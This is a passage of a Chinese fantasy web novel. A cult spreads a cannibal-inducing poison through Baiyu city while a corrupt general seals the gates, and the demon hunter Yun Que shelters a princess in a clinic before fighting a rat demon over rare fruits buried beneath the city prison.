“灵芸郡主,已经进了你的百玉城,负将军出力的时候,到了。” 听闻此言,负易立刻锁紧眉峰,沉吟了一下,道: “既然教主吩咐,在下定当出力便是,不过,百玉城人口三十余万,鱼龙混杂,想要在这么大的城池里找一个人,实在不易,若派兵寻找的话,即便找到郡主也无法动手,毕竟我还是大晋的武官。” 负易言词里暗藏着推脱之意。 气泡中传出一阵低笑。 “负将军爱惜羽毛,人之常情,我红莲教不会强人所难,你只需封死百玉城三天时间即可,剩下的事,自然有人处理。” 负易闻言暗暗松了口气,点头道:“从今天起,百玉城会封城三日,缉拿山匪。” “如此甚好。” 留下最后一句话之后,气泡随之破灭。 那只红燕破窗而出,飞进夜幕。 负易的神色渐渐冷了下来,盯着被撞出一个洞的窗纸,眼底闪过冷意,但随后就变成了无奈。 红燕破窗的举动,显然是个下马威,对他刚才推脱的不满。 负易与红莲教早有牵连,能做到这个位置,红莲教出力不小。 负易并非红莲教的人,但他欠了红莲教的人情。 负易深知红莲教的强大与狠辣,他一个七品武者根本惹不起,只能选择妥协。 “连灵芸郡主都敢动,红莲教究竟要图谋什么,就不怕阜南王一怒之下铲平了你们!” 负易暗暗自语,神情变幻不定。 他是个聪明人,知道在仕途上如何借力,更深知大晋国如今的各方势力。 朝堂之上,能与阜南王掰掰手腕的人物,屈指可数。 从红莲教追杀灵芸郡主的举动,负易能看出红莲教背后隐藏的庞然大物,只是他看不清那庞然大物的真相而已。 沉思了稍许,负易唤来亲兵。 “传我的命令,百玉城混进了山匪草寇,封城三日缉拿匪人,调一千精兵,值守城门,没有我的手令,三日内任何人禁止进出,违者军法处置!” 亲兵领命后禀报道: “大人,值守北城的校尉梅钱刚刚告假,说身体不适需要休息几日。” “告诉他三天后再休息,百玉城的所有校尉只要人没死,这三天都给我去城门盯着,爬不起来就趴在城门养病!放走一个人拿他们问罪!” 亲兵领命刚要走,又被叫住。 “传令后,关上府门,任何人找我都说不在,记住,是任何人。”负易沉声道。 “若是城里的其他几位大人来访呢?”亲兵询问道。 “就说我带兵在城内剿匪,找不到人。”负易道。 等亲兵走后,负易独自坐在书房,没了去见美妾的兴致。 “神仙打架,凡人遭殃,你们只管斗,本官作壁上观就是了。” 自语中,负易提起笔在宣纸上写了四个字。 明哲保身。 随后将写了字迹的宣纸投进一旁的火炉,烧成灰烬。 …… 百玉城东南角有一间破庙,年久失修无人问津,成了乞丐的栖身之地。 破庙内脏兮兮,粪便随处可见,老鼠成群结队。 午夜时分, 一只红燕飞进破庙,翅膀呼扇,一头扎进一个老鼠洞里。 不多时,一只红眼的老鼠从洞口爬出,人立而起,龇牙咧嘴发出吱吱叫声,尖牙上遍布着墨绿的黏液。 沙沙的细响声在老鼠洞周围起伏不断。 一只又一只红眼老鼠爬出洞口,四散而去。 “哎呦!谁他娘咬我?今儿大集都没要找饭呐,饿成这德行一头撞死算了!” 住在破庙里的一个乞丐骂骂咧咧的醒来,还以为同伴在睡梦中咬了自己一口,结果往身后一摸竟掏出一只硕大的老鼠来,鼠眼通红。 “哪来的死耗子!活人也敢咬!” 乞丐要将老鼠摔死,结果手又被老鼠狠狠咬了一大口。 老鼠逃了。 乞丐只能骂上两句解恨,也不在乎伤口,继续睡觉。 乞丐的命不值钱,这么点伤谁也不会去看郎中。 不久后。 破庙里再次响起乞丐的惊呼。 一个老乞丐惨烈的哀嚎着,竟被另一名乞丐活生生咬掉一大块血肉! 其他乞丐被惊醒。 火把亮起,照亮了行凶者的模样。 看到这人之后,几十个乞丐无不魂飞魄散。 咬人的家伙,穿着乞丐衣服,脸上的血管凸起几乎要炸裂,两眼血红,形如恶鬼。 几个乞丐认出对方是曾经的同伴,不知因何变成这样,于是合力拉开此人救下老乞丐。 结果拉拽途中,又有两人被咬伤。 “二狗子你疯了!怎么到处咬人!” “他不会害了什么病吧!眼睛通红!” “肯定撞邪了!打盆冷水来浇醒他!” 乞丐们七手八脚按住咬人的二狗子,有人打来一盆凉水。 冷水淋头,非但没浇醒二狗子,反而激发出二狗子更大的力量,一下挣脱出来,见人就咬,直至将打冷水的乞丐脖子给咬断! 人头落地的响动,惊醒了一众乞丐。 “杀人啦!” 有人大喊,有人奔逃,有人眼睛逐渐变红扑咬着身旁的活人,破庙里乱成一团。 不多时,几十个乞丐逃出去一半。 剩下的乞丐全都红着眼,趴在一具尸体上大嚼特嚼。 破庙里安静了下来,只剩下令人毛骨悚然的咀嚼声。 百玉城的各条街巷,不时传出尖叫。 一户人家冲出个女人,神色惊恐的逃向远处,在她身后,是红着眼睛发出沙哑低吼的男人。 一处小院子里,年幼的孩子正卷缩在墙角,浑身颤抖,在他面前,是红眼的母亲正在撕咬着父亲的尸体。 一间大宅院内,两条红眼大狗凶猛追逐着主人一家,一旦被咬上就会撕扯下一大块血肉。 一间青楼上,正寻欢作乐的男人突然发现怀里的女人口吐白沫,随后双眼发红,力气变得极大一下将他反扑在身下,一口咬断了他的喉咙。 今晚的百玉城,到处充斥着诡异的气氛。 红眼的百姓越来越多,血腥气越来越重。 …… 客栈。 看着地图上的千山万水,云缺一筹莫展。 “要不然你写封信找你爹求救,我们不走了,就住在百玉城,什么时候大军抵达,什么时候出发。”云缺道。 “道门有纸鹤传书,儒家有千里传音,可惜我没有修为什么手段也施展不出。”牧青瑶苦涩一笑,随后好奇道:“你们武者用什么手段传递消息?” “我们的办法简单。”云缺傲气道:“用腿!” 牧青瑶听得掩口直笑,一双漂亮的眼睛弯成了月牙儿。 “还有个法子最为安全。”云缺道:“你隐姓埋名,找个没人的地方住上几十年,等满头白发的时候再大大方方上路,保准没人追杀,熬死那个红莲教。” 牧青瑶瞪大了眼睛,檀口微张。 小郡主现在很想打开云缺的脑袋,看看里面是个什么构造。 这种鬼主意,是人类能想出来的么? “年底之前,我必须返回皇城。” 牧青瑶现出忧色道:“我修炼的十七年蝉,最后需要师尊以浩然气引导,助我开启天门方可成功,否则会前功尽弃,今后恐怕再难踏上修行这条路。” 云缺也没办法了,除了在年底前抵达皇城,没有其他选择。 只能硬着头皮上路。 “还有将近四个月,时间倒是来得及,既然非走这条路不可,得找些帮手才行。”云缺若有所思道。 “你有帮手?”牧青瑶道。 “没有,但可以找嘛,重金之下必有勇夫。”云缺翘起嘴角,古怪的笑道。 看着云缺的笑容,牧青瑶觉得这家伙又要坑人了,就是不知道坑的是谁。 这时客栈门口传来叫骂声。 听声音是客栈老板,好像有醉鬼闯进客栈。 云缺和牧青瑶起初没在意,可很快传来客栈老板的惨叫。 出事了! 两人互相看了一眼,默契的各自行动。 牧青瑶以最快速度吹灭蜡烛,云缺则闪身来到窗边,轻轻打开一条缝隙。 朝外面瞄了一眼,云缺的神色忽然一变。 第27章 镇魂三针 窗户很快关上,云缺的目光泛着诧异。 “外面怎么了?”牧青瑶低声问道。 “客栈老板,被吃了。”云缺道。 “城里有妖物出没?”牧青瑶惊诧道。 云缺摇了摇头,只道出一个字。 “人。” 牧青瑶的瞳孔立刻猛地一缩。 人吃人! 这等诡异的局面,灵芸郡主未曾见过,更无法想象。 云缺也在奇怪。 外面有好几个人把客栈老板扑倒,大啃特啃。 如果说一个人发疯咬人,还说得过去,好几个人一起发疯,绝对不正常。 事出反常必有妖。 就算没有妖,背后也一定有妖人作祟。 云缺第一个想到的就是红莲教,毕竟那种邪教什么事都做得出来。 可是吃的人与郡主无关。 如果红莲教得知牧青瑶在这处客栈,就该破门而入,何必先吃了客栈老板? 一边思索着,云缺一边侧耳倾听,眉峰渐渐蹙起。 “街上不对劲。” 云缺低声道。 武者的听觉十分灵敏,随着境界提高,听力远超凡人。 云缺能听到街上若隐若现的哀嚎声。 这种情况预示着很多人家都出了意外,绝非只有这处客栈出事。 牧青瑶坐在旁边,安静的等待。 只要云缺在身边,牧青瑶就不会害怕,有一种被安全包裹的感觉。 很快院子里的声音消失。 街上的嘈杂声越来越大,火光四起。 忽然房门被敲响。 当!当当! 说是敲,其实是砸,声音很大。 云缺站在屋门前,鼻翼动了动。 没有妖气。 说明外面砸门的,是人。 当砸门声再次响起的瞬间,云缺突然拉开门,一个身影跌跌撞撞冲了进来。 由于砸门的力道过大,这人直接摔倒。 月光下,能看到此人两眼血红,一身是血,五官狰狞如恶鬼,爬起来扑向云缺。 这人牧青瑶与云缺都认得。 正是客栈老板! 云缺一脚将其放倒。 客栈老板佝偻着身体,起不来了,喉咙里发出野兽般的低吼。 关上门,云缺查看了一下。 除了肩头与手臂少了几块肉之外,客栈老板还活着,不知为何发疯了一样,脸上遍布着蚯蚓般的血管。 “他中了毒。” 牧青瑶断定道。 “什么毒,这么邪乎?”云缺奇怪道。 “看不出,我没见过如此罕见的奇毒,可能刚才被咬后染上的,他的血液好像在沸腾,毒力肯定与血液有关。”牧青瑶道。 “咬几口就染上剧毒,这么下去,整个百玉城怕是没几个好人了。”云缺道。 “有人故意下毒,搅乱百玉城。”牧青瑶道。 “浑水才好摸鱼,红莲教下手够狠的。”云缺道。 “去城守府。”牧青瑶建议道。 这种局面,唯有出动守军方可平息城内的混乱。 两人就此离开客栈。 刚到客栈的院子,门外冲进来两个红眼的家伙,直接被云缺两巴掌放倒。 这两人的打扮比较奇怪,穿着囚服。 云缺看了眼客栈一侧。 距离这里不远,就是百玉城关押囚犯的地牢。 既然囚徒都逃了出来,说明地牢里已经成了混乱之地。 远处有一道人影在疾行,正朝这边过来。 云缺的反应极快。 一把拉住牧青瑶退回客栈,躲在院墙后。 牧青瑶以为有发疯的百姓冲了来,结果听见云缺奇怪的低语了一句。 “他到这边做什么?” “谁?” “梅钱。” 云缺贴着墙探出头朝外看去。 梅钱的身影消失在不远处一片树林里,看对方行进的方向,正是地牢。 没去理睬鬼鬼祟祟的梅钱,云缺带着牧青瑶赶往城守府。 路上,有云缺在,牧青瑶自然安然无恙。 但小郡主这一路走来,神情变得愈发凝重。 她看到了太多惨死之人,横尸路边,其中不乏孩童。 牧青瑶心里感到自责。 红莲教的目标,是她这位灵芸郡主。 红莲教这是要用一城之地的百姓生命,给她牧青瑶殉葬! 到了城守府附近,两人躲在一间民宅旁。 府门外有一名身穿官袍的中年人在砸门,看打扮是百玉城的文官。 砸了半晌,终于出来名军兵。 那文官急忙问道:“负大人可在府上!城里乱成一锅粥,快快去通报!” 军兵告罪道:“原来是何大人,我们将军没在家,正在城内缉捕山匪。” “什么!城里混进了山匪?”何大人吃惊道。 “是啊,都是通缉令上的狠角色,将军有令,百玉城封城三日,不抓到山匪不会开门。”军兵道。 “好,好!本官知道了。” 何大人急匆匆吩咐家丁打道回府,看样子不敢再出门了。 城守府大门关闭,再无声息。 “闭门羹,人家躲了。”云缺冷声道。 “闭门不见,城守将军定是提前知道了消息,封城三日恐怕不是为了抓山匪,而是为了把我留在城中。”牧青瑶低声道。 聪慧的灵芸郡主,已经大致猜到了缘由。 “等见到你爹,记得让他把百玉城的城守宰了。”云缺提议道。 牧青瑶只剩下苦笑。 猜测是猜测,没有任何证据的情况下,即便是阜南王也无法随便斩杀晋国的武将。 不过百玉城城守与红莲教勾结这件事,牧青瑶决心将来一定要查个清楚,给那些死在今夜的百姓们一个交代。 城守府这条路行不通,云缺带着牧青瑶往回走。 牧青瑶以为要返回客栈,可是路线不对。 “我们现在去哪?”牧青瑶道。 “先去个安全的地方,再找机会出城,梅钱那家伙不在城门,我们肯定出不去。”云缺道。 如果梅钱守在城门,云缺有把握带着牧青瑶逃离百玉城。 现在梅钱去了地牢,不知有何目的。 云缺将出城的希望放在梅钱身上,牧青瑶并不奇怪,她只奇怪着云缺所说的安全地方。 不久后,两人来到一间医馆附近。 正是牧青瑶解毒的庸医馆。 “躲在医馆?”牧青瑶道。 “是啊,满城就这地方最安全了。”云缺笑道:“看完病,他收了你多少钱。” “二两银子……” 说完牧青瑶忽然想起了什么,讶然道:“价钱不对!我吃的解毒药里,除了花斑草之外还有几味名贵药材,解毒药的本钱都要二两银子,那位老先生没收我诊病的费用。” “这就对了嘛,我带去的病人肯定得打折。”云缺道。 “为什么?”牧青瑶道。 “因为我是这里的大客户啊。”云缺说完大步流星走进庸医馆。 牧青瑶带着一头雾水,重回了医馆。 医馆大厅里灯火通明。 白须如雪的老医者正在看病。 病人很特殊,是个六七岁的女童,躺在病榻上,手脚被麻绳绑着,一张小脸儿狰狞无比,遍布凸起的血管,两只眼血红如妖,尽管被绑住仍在拼命挣扎,发出非人的吼声。 女童的父母守在一旁,一个劲哀求。 “先生您一定要救救我女儿!我们就这一个孩子,她若有个三长两短,我这做娘的也活不下去了。”妇人眼睛哭得红肿。 “娃儿被家里的狗咬了一口,很快就成了这个样子,连我们都想咬,不得已才绑住她,先生医术高明,求先生救命啊。”男人强忍泪水。 老医者始终在把脉,一言不发,不过眉头皱得极深。 云缺与牧青瑶没去打扰,站在一旁观望。 这时那女娃突然浑身抽搐起来,整张脸几乎成了血红色,脸上的血管有一条直接裂开,鲜血横流,状如恶鬼。 随着鲜血出现,女娃发狂了一样张嘴乱咬,疯狂挣扎,绑住手脚的地方被勒出一道道血痕。 她越是挣扎,脸上的血管就爆裂得越多,很快满脸是血! 女娃的父母大惊失色,手足无措,想要过去安抚,却被老医者拦住。 “肉连血,血通魂,魂乱则血沸,血沸则命尽。” 老医者道出一句苍凉之言,听得那对年轻夫妻满脸绝望。 牧青瑶听闻此言,印证了自己的判断。 这种可怕的剧毒果然能引起血液沸腾,造成活人发疯的症状。 牧青瑶医道之上的造诣不低,她能看出症状,却没有解救的办法。 在那年轻夫妻觉得自己的孩子没救之际,老医者站起身,取出三根银针。 随手而施,三根银针分别扎在女娃面部的三处穴位。 发狂的女娃瞬间冷静下来。 脸上不再冒血,凸起的血管渐渐平复,眼皮闭合沉沉睡去。 年轻夫妻大喜,连忙给老医者叩头。 如此神奇的一幕,看到的人只觉得老医者妙手回春,然而牧青瑶却低呼道: “镇魂三针!” 老医者听到声音朝这边望了一眼,缓缓点头,道: “小姑娘好眼力,镇魂三针只可镇其魂,无法解其毒,治标不治本,无奈之举罢了。” 老医者让年轻夫妻带着女儿暂住在医馆,等待后续治疗。 “怎么又回来了。”老医者看向云缺。 “七叔,你这医术不太行啊,难怪连招牌都叫庸医馆。”云缺指了指身旁的小郡主,道:“她的毒没解干净,时不时的头晕眼花,还得在你这住两天才行,什么时候毒彻底解干净了再走。” 牧青瑶闻言一阵尴尬。 她没想到云缺会堂而皇之的说瞎话,以那老医者的医术,只要搭一下脉就能拆穿。 第28章 露水朋友 让牧青瑶没想到的是,老医者根本没多问,只说了句好,就开始继续接诊。 云缺更不客气,穿过前堂,找了间没有病患的单间,看架势就跟回自己家一样。 牧青瑶这才知道什么叫大客户。 真不客气呀。 “你和那位七叔很熟么,他肯定知道我已经没有余毒了。”牧青瑶道。 “当然熟了,我猎到一些有毒的妖物,都会卖给庸医堂,七叔出价比集市里可高得多。”云缺道。 “原来如此,那位七叔尊姓大名,他的医术相当高明,能用出镇魂三针的医者,在学宫内也寥寥无几。”牧青瑶道。 “没人知道他的名字,熟人都叫他七叔,你暂时躲在这里,我去找梅钱那家伙,我们尽快出城。”云缺道。 “医者悬壶济世,我不想连累那位老先生。”牧青瑶道。 “这点不用担心,七叔不仅医术高超,他的修为也不弱。”云缺道。 “那位老先生也有修为?他是何种境界。”牧青瑶道。 “不清楚,没人见过他出手,不过我送来的有毒妖物,有一大半可都是活的。”云缺道。 名医收集毒物,有研究药理的目的。 但活着的妖物,普通医者绝对不敢收。 “我没回来之前,记住别走出庸医馆半步。” 云缺凝重的说罢,离开医馆。 城里变得更乱了。 到处能看到发疯的百姓。 云缺的速度极快,穿街过巷,一路疾行。 路上,云缺思索着当前的局面。 红莲教搅乱百玉城,说明对方确定牧青瑶就在城内,只是不知具体方位。 由此推断,百玉城里有着红莲教不少的眼线。 眼线这种东西,可以是街边的普通小贩,也可能是城门处不起眼的军兵,亦或者街上的普通百姓。 眼线无需修为,只要看到牧青瑶从而传回消息即可。 想要将眼线全部拔除,基本不可能。 “好狠的红莲教。” 云缺低声骂了一句。 红莲教难缠的程度,远超预料,实在棘手。 尤其对方的手段,堪称狠辣。 不惜葬送一城数十万百姓的生命! 云缺之前猜测到幕后黑手绝对是一方强大的势力,如今看来,对方不仅实力庞大,还能号令城守这种级别的晋国武将。 必须尽快离开百玉城才行! 云缺打定主意,脚下的速度更快了几分。 水已经被搅浑,捞鱼的人也该出现了。 经历过上次与左白右黑两名护法的死斗,云缺可不想再遇到那等程度的对手。 穿过一片树林,终于抵达百玉城地牢。 地牢位于偏僻地带,平常有重兵把守,关押的都是些亡命之徒。 由于百玉城是附近最为繁华的大城,又经常有大集,来往客商繁多,这就造成了许多凶悍之辈铤而走险劫掠行商的局面,近年来,百玉城地牢一度人满为患。 今晚的地牢,空旷安静。 门口倒着几具尸体,看装束是守门的军兵。 地牢大门洞开。 地牢里散发着腐朽的气息,潮湿昏暗,每隔三丈燃着一盏油灯。 灯油见底,火光忽明忽暗,照得地牢备显阴森。 地牢很大,上百个牢房。 没有活人。 牢里的囚犯不是早已趁乱逃脱,就是被啃咬致死。 从所见的景象估计,这里发生异变的时间几乎是最早的。 从大门走到最深处,居然没看到梅钱的踪迹。 “奇怪,那家伙去哪了?” 云缺站在地牢尽头的一间牢房外,疑惑不解。 附近除了地牢之外,没有其他建筑,梅钱既然朝这边过来,目标肯定是这里才对。 偏偏没看到人。 正疑惑的工夫,云缺听到一种极其细微的响动,从身旁的牢房里传来。 这间牢房完好无损,角落里倒着一具蓬头垢面的尸体。 云缺斩断锁链走进牢房,侧耳聆听。 响动来自脚下的地面。 像是一种挖土的声音。 若非八品武者的耳力,加上地牢里绝对的安静,否则很难察觉。 云缺屏住气息,趴在地上仔细辨认。 果然地底有东西! 那种细微的响动,绝对是挖掘土石传来的声音。 云缺更加奇怪。 劫狱的? 狱卒都没了,大门都开着,还用费力气挖地道么? 沉吟了少许,云缺抽出长刀。 运转气机,黑刀上逐渐铺满一层寒芒,锋利到极致。 随后云缺将长刀竖起,刀尖朝下,找准一处砖缝,缓慢的扎进地面。 妖刀的锋利,堪称吹毛断发,削铁如泥。 无需用力劈斩,即可轻易扎进砖石,而且无声无息。 直至刀刃完全陷进地底的时候,云缺眉峰一动。 武者用刀,就该如臂指使。 分出一点力道,即可感知到刀体传来的阻力强弱。 何况是云缺这种与刀同生共存的妖武者。 云缺能清晰的感知到,刀尖的位置此时已经悬空! 说明地底存在着一个空旷之地! 云缺没急着下去查看,而是握紧地面上的刀柄,闭合双眼。 下一刻,刀尖处,睁开了一只小巧的血色瞳孔。 以刀为眼! 如此手段,绝非武者能动用,唯有云缺这种妖武者才可施展。 当刀尖出现血瞳的时候,云缺便可借助血瞳观看到地底的情况。 地牢下方五尺左右深度的地方,果然存在着一个大洞,其内有火光闪烁。 一个人影抡着铁锹在奋力挖掘。 尽管看不到正脸,云缺还是一眼认出对方。 正是梅钱! 云缺正奇怪着梅钱这家伙大半夜在地牢下边挖什么洞呢,梅钱的动作忽然停滞不动。 刹那后,梅钱两侧肩头爆发出风旋般的气机波动! 他猛然回身,一刀斩向头顶。 咔嚓!! 轰隆!! 八品武者的全力一刀,直接将洞顶劈开。 牢房地面开裂出一个丈许方圆的大洞,其内的云缺与角落里的尸体一同掉落下去。 地洞里沙尘四起。 梅钱的第二刀紧随而至。 这一刀劈斩出一片刀影,在沙尘中形成刀网,迅捷凶狠。 刀网的出现,预示着梅钱动了杀机。 这突如其来的一击之下,梅钱有把握斩杀同阶。 不过梅钱从来不会大意,在斩出刀网后,他立刻运转更强的力量,手中出现双刀。 双刀交叉,其上寒光炸起。 同时梅钱脚下发力,如同一头猎豹般冲出。 这是他的杀招,足以让敌人措手不及。 当一道黑色刀芒,轻而易举斩破了刀网的那一刻,梅钱冲出的脚步豁然一顿,定在原地。 梅钱认出了那刀芒的主人,脸色变得十分难看。 沙尘落下,果然梅钱看到了云缺那张似笑非笑的脸庞。 “你怎么在这?”梅钱冷声道。 “晚饭吃多了,遛遛弯儿,你这是干嘛呢,工程不小哇。” 云缺抱着肩膀,环顾四周。 这里是一条地底隧道,挖掘的四四方方,整整齐齐,出口离着极远。 梅钱很快恢复了常态,面无表情道: “当然是练功了,我们武者需要天天打熬身体才行,这是我的打熬方式。” “还别说,你这法子真不错,正好我吃多了,我跟你一起练功。” 云缺说着走到隧道尽头,装模作样的准备开挖。 这下梅钱的脸色又变了,神色有些紧张道: “今天算了,我有点累,咱们出去喝一杯,挺长时间没跟你喝酒了,走,我请客!” “我已经吃饱喝足,没胃口了,你不挖的话先回去休息,我自己挖。”云缺不走,笑呵呵道。 梅钱脸色渐冷,道: “这么多年的朋友,怎么,这点面子也不给?” “既然是朋友,有好东西就该分一杯羹才对,自己吃独食可不是好习惯。”云缺笑道。 “这里什么也没有!”梅钱怒道。 “我最近听了个故事,很是有趣,叫做此地无银三百两。”云缺道。 “世上的东西都个固定价值,朋友也一样,超过价值,朋友就能成为仇人。”梅钱寒声道。 “仇人好办,一刀砍了就是,你说是吧。”云缺笑道。 梅钱咬了咬牙,他知道扯谎已经没用,于是开门见山道: “这里的确有点东西,可惜地点不好,地牢周围有重兵把守,我耗费小半年的时间才挖出这条通道,为了不惊动看守地牢的官兵,只能在夜里行动,挖出的土还要运走不留痕迹,我辛苦了这么久,你凭什么一来就要分一杯羹!” 这番话说出的同时,梅钱握刀的手渐渐捏紧,浑身筋肉紧绷,如一头即将扑杀而出的凶兽。 云缺面带微笑,一手握刀鞘一手握刀柄,缓缓抽刀道: “就凭我们是朋友啊。” 梅钱的脸色变了又变,半晌后懊恼的收起双刀,骂道: “我肯定倒了八辈子血霉,这辈子才认识你这么个露水朋友!” “露水朋友也是朋友嘛,这里有什么宝贝,咱们一起挖,一人一半,好朋友就该分享才对。”云缺笑着也收起了刀。 “我自己挖!” 梅钱看了眼身后长长的隧道,欲哭无泪。 他气呼呼的捡起铁锹,没一会儿果然挖到一个古旧的木盒子。 盒子一尺多高,四四方方,表面的木头已经腐烂,整体还算完好。 这盒子没有缝隙,也没有锁,就像一整块中空的方木。 更奇怪的是,盒子顶端还长着树根一样的东西,一直延伸向上。 梅钱看到木盒后,明显气息变得重了一些。 他刚打算将木盒的另一半也挖出来,突然土层震动起来。 轰隆一声! 墙壁开裂,钻出来一头半人多高的硕大红鼠! 第29章 输了一百次 梅钱做梦也没想到,他在这边开挖,还有一只大老鼠在对面开挖。 挖到木盒的这一刻,便是双方碰面的时候。 红鼠也愣怔一下,紧接着发出尖细的怪叫。 吱吱!! 随着叫声,一股妖气弥漫而来。 “七阶鼠妖!” 梅钱神色骤变,双刀出鞘,如临大敌。 八品武者,面对七阶妖物,几乎没有活路。 鼠妖现身,云缺随之恍然大悟。 城里传播的奇诡之毒,应该就是来自这头红毛鼠妖了。 而放出红毛鼠妖的幕后黑手,自然是红莲教无疑。 地底的洞窟由于被挖穿,扩展到十分宽敞的程度,木盒就在鼠妖与两人之间。 红毛鼠妖鼻子抽动,一双红眼死死盯住木盒。 梅钱的脸上满是忌惮,不肯让步,迟疑着是否出手。 “盒子里到底是什么东西。”云缺抱着刀,问道。 对云缺这种猎妖人而言,宝贝的价值高低,是拼命与否的唯一衡量标准。 对面的鼠妖明显神智不低,能挖洞寻到这里,说明其嗅觉极强,那一双狡诈的红眼,让云缺联想到藏石镇的那只红燕。 梅钱知道这种时候无法隐瞒,低声道: “血茸果,至少两枚以上!” 听闻血茸果三个字,云缺平静的目光骤然冷冽起来。 血茸果是一种罕见的灵果,有补血强骨的奇效,对低阶武者来说是极品的大补之物! 八品武者若服用足够多的血茸果,有机会将骨骼凝实到极致,达到八品炼骨境圆满的地步! 血茸果极为昂贵,在市面上至少五千两白银起价,常常有价无市,低阶武者很少有人买得起,更不用说大量服用。 云缺与梅钱都是八品武者,而且都在八品炼骨境的关键时刻,趋于圆满,若有血茸果加持,两人的本体强度将能再进一步,冲击最后的圆满境界。 九品炼体,八品炼骨,这两个境界是武者最为重要的基础。 基础打得越牢固,以后的战力越强横! 吱吱!! 红鼠爬向木盒,对两人发出警告般的吼叫。 血茸果这等奇果,对妖兽来说一样是美味佳肴,吞服后可增加妖气乃至修为。 “怎么办。”梅钱沉声道。 他不想面对七阶鼠妖,但他更不愿失去血茸果。 “还能怎么办,砍它!” 云缺话音未落,长刀已经划出一道黑芒斩向鼠妖。 血茸果的价值足够高,所以云缺毫不犹豫的选择出手。 鼠妖的前爪正要抓向木盒,结果一刀斩下,它不得不抬爪抵挡。 鼠爪覆盖着红毛,尖锐的爪尖极其坚固,挡下刀剑易如反掌。 不过云缺这一刀斩得十分巧妙,刀刃错开了爪尖,直接斩断了一只鼠趾! 鼠妖大意之下,前爪鲜血迸溅,疼得吱吱怪叫。 于此同时,梅钱也动了。 他整个人犹如一股旋风般掠出,双刀交叠,斩向鼠妖的双眼。 鼠妖吃疼之际又遭突袭,避无可避只好低头硬抗,用脑袋接了梅钱的双刀。 咔嚓!! 梅钱的全力一击,在鼠头上破开一道大口子。 不过仅仅斩开了毛皮,并未伤到鼠妖本体。 七阶鼠妖,肉身相当强横,鼠皮的坚韧程度绝非八品武者能轻易破开。 梅钱的双刀虽然也锋利,可远远比不得云缺的长刀。 梅钱这一击没有伤到鼠妖,但将鼠妖压伏在地,四爪支撑在地面。 这时云缺的第二刀也到了。 还是鼠妖的前爪,还是伤口的位置。 咔!! 第二根鼠趾应声而断。 这下鼠妖的左前爪,原本四根鼠趾,现在只剩两根。 尽管是露水朋友,但云缺与梅钱两人可不止一次合作,配合得天衣无缝。 刚一动手,就成功将鼠妖重创,并且彻底将其激怒。 吱吱吱!!! 鼠妖暴怒之下浑身红毛炸立起来,四爪一撑,扑向云缺,同时钢鞭般的鼠尾甩动,卷向梅钱。 地洞内,两人一鼠殊死恶战。 云缺的单刀又快又狠,别的地方不管,就砍老鼠爪,而且只认准前爪,其他位置一概不碰。 梅钱的双刀灵敏迅猛,专门攻击鼠眼鼠鼻肚皮之类的要害,砍中一次就够鼠妖难受的。 别看两人只有八品程度,由于配合得太好,加上攻势刁钻,面对一头七阶鼠妖竟不落下风。 当鼠妖的左前爪又被切掉一趾,只剩独趾,鼻子上也多两条深深的刀痕后,这头红鼠彻底疯狂起来。 鼠妖背部的红毛根根直立,下一刻喷薄而出,形成一片红针刺向两人! 云缺和梅钱早有预料。 在鼠妖改变攻势的同时,两人齐齐跃向头顶,跳出地洞。 地洞上方,便是地牢所在。 鼠妖的这种攻击方式,不熟悉妖物的人肯定会吃大亏。 但云缺可是猎杀过无数妖物的猎妖人,对鼠妖了若指掌,梅钱只需跟随云缺的举动即可规避危险。 很快愤怒的鼠妖也爬进地牢,嘶吼着寻找两个人类。 鼠妖这次变聪明了。 浑身红毛炸立到极致,如同巨型的刺猬,将头部与四爪纷纷护住。 一时看不到两人,鼠妖徘徊在洞口附近,不肯远离。 云缺与梅钱躲在距离洞口不远处的一处牢房内。 “鼠妖狡诈,必须引开它才能拿到东西。”梅钱低声道。 “你去引走鼠妖,我去拿血茸果。”云缺提议道。 “为什么不是你去引?”梅钱质疑道。 “灵果附近也许还有更多的危险,我也是为你着想,我不想失去你这个朋友。”云缺大义凛然道。 默默的看着云缺,梅钱沉默了。 他挖了小半年,除了半路杀出来的七阶鼠妖之外,遇到的活物只剩下蚂蚁和潮虫。 如果蚂蚁和潮虫也算危险的话,梅钱觉得一只蟑螂都能摆平。 无需多说什么,梅钱和云缺都知道,他们俩没人会去引走鼠妖,让另一人独占灵果。 “换个方案,我们联手将鼠妖重创,暂时赶走它。”梅钱低声道。 “好,鼠妖现在的状态防御力极强,它唯一的弱点是尾巴,斩断鼠尾足以将其重创。”云缺道。 “刚才我试过,鼠尾灵敏又坚韧,很难砍断。”梅钱皱眉道。 “尾巴根部,是鼠妖现在最薄弱的地方,你用全力肯定斩得断。”云缺道出了鼠妖的弱点。 梅钱听罢点了点头。 别的地方,他根本不服云缺,但对妖物了解程度这一块,梅钱心服口服。 在梅钱的眼里,知远县甚至整个大晋国,恐怕没人比青狐山的猎妖人还要了解妖族。 “鼠尾太灵活,如果一击失手会被鼠妖察觉到我们的目的,等它将鼠尾藏进鼠毛里,便再无破绽了。”梅钱道。 “一次机会就够了,我来攻它正面,吸引注意力,你佯装被鼠尾缠住,趁机将其切断。”云缺定下计划。 “为什么是我?”梅钱质疑道。 “因为你穿着盔甲啊。”云缺指了指对方身上的轻甲道。 梅钱此人无论去什么地方,都一身轻甲,可谓甲不离身。 八品炼骨境武者,本就肉身强悍,再加上甲胄护体,防御能力更上一层楼。 梅钱咬牙道: “被鼠尾缠住的话,很容易让鼠妖咬死!我这是轻甲又不是重甲,扛不住七阶鼠妖的獠牙!” “就这么一个办法,你要不肯的话,那我们猜拳好了,公平公正,谁输谁去冒险斩鼠尾。”云缺道。 一听猜拳俩字,梅钱的神色顿时变幻起来,其中有愤怒也有无奈。 鼠妖的嘶吼就在身后。 时间一久,鼠妖很可能返回地洞去吃灵果。 梅钱不敢耽搁,一咬牙同意下来,随后就不出意外的输掉了。 “他娘的,输第一百次了……” 梅钱欲哭无泪。 这些年他没少与云缺猜拳,却诡异的一次没赢过。 “动手。” 云缺低语中闪身冲向鼠妖,黑刀斩出一片刀影。 梅钱趁机从另一侧杀向鼠妖身侧,佯攻鼠妖的后背位置。 他没敢表现出攻击鼠尾的企图。 他相信云缺的判断,一旦鼠尾也藏起来,鼠妖就没了弱点。 到时候想要击杀七阶鼠妖,耗费的代价将更大,而且时间拖得越久,变故就越多。 血茸果对梅钱十分重要,他不敢错过这次机会。 几刀下去,梅钱装作大意,果然被鼠尾缠住,整个身体直接悬空而起。 这时梅钱有点后悔了。 鼠尾的力量无比恐怖,即便他穿着轻甲,身体也被勒得剧痛难忍,甚至能听到浑身骨头即将碎裂的响动。 在七阶妖兽面前,八品炼骨境武夫实在难以匹敌。 